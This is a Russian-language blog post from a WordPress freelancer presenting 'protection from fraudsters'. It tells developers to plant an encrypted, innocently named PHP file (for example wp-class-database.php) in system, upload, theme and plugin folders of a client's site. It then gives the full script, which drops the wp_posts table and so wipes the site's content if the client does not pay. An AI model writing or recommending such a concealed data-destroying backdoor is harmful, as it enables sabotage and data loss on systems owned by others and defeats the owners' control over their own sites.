Skip links

Защита от мошенников для wordpress разработчика

Довольно часто слышу от начинающих фрилансеров что им не заплатили за работу, и заказчик пропал, просто сменив доступы к сайту. Если вы работаете без предоплаты, тогда у меня есть решение для вас, которое может подпортить жизнь недобросовестному заказчику.

Изначально у меня был файл, который удалял все файлы сайта, но если так подумать, то основной контент находится в базе данных и работать нужно именно с ней. Код, который я предлагаю использовать удаляет в базе данных таблицу wp_posts – в этой таблице находится весь контент сайта. Так же вы можете изменить, к примеру на таблицу с настройками сайта wp_options.

Кстати, не забудьте проверить в файле wp-config.php, какой префикс для таблиц используется на сайте, если вы занимаетесь доработкой сайта (там не всегда может быть wp_).

Я рекомендую этот файл шифровать и закидывать в разные папки сайта, к примеру в папку /wp-includes/ – можно сделать имя файла такое, что бы было сложно заподозрить, к примеру wp-class-database.php. Закидывайте в папку с загрузками картинок, в папку с шаблоном и/или плагином. Потому что если бы мне такое сделали, то я бы точно почистил файлы самой системы и только потом бы полез к очистке плагинов и шаблонов и в последнюю очередь полез бы в картинки, потому что файлов в папках с картинками тысячи и найти будет сложно.

ВАЖНО! В конце работы не забудьте сделать бекап базы данных, чтобы потом восстановить изменения, если вдруг вам всё такие оплатят и не запускайте файл раньше времени.

				
					<?php
// Сервер, имя пользователя, пароль, имя базы - берем с wp-config.php
$servername = "сервер"; 
$username = "имя пользователя";
$password = "пароль";
$dbname = "имя базы";

// Подключаемся к базе данных
$conn = new mysqli($servername, $username, $password, $dbname);

// Проверяем подключение
if ($conn->connect_error) {
    die("Ошибка подключения: " . $conn->connect_error);
}

// Удаляем таблицу wp_posts
$sql = "DROP TABLE wp_posts;";

// Выводим на экран сообщение с результатом
if ($conn->query($sql) === TRUE) {
    echo "Таблица удалена!";
} else {
    echo "Ошибка удаления: " . $conn->error;
}
$conn->close();
?>
				
			
Поставьте оценку
Кайф!
Кайф!
0
Огонь!
Огонь!
0
Иди обниму!
Иди обниму!
0
Прикольно!
Прикольно!
0
Надо подумать!
Надо подумать!
0
БЛ***Ь
БЛ***Ь
0

Leave a comment

Оставить заявку

Оставьте заявку и я свяжусь с вами в течении нескольких часов. Так же вы можете связаться со мной при помощи мессенджеров:

Смотреть
Листай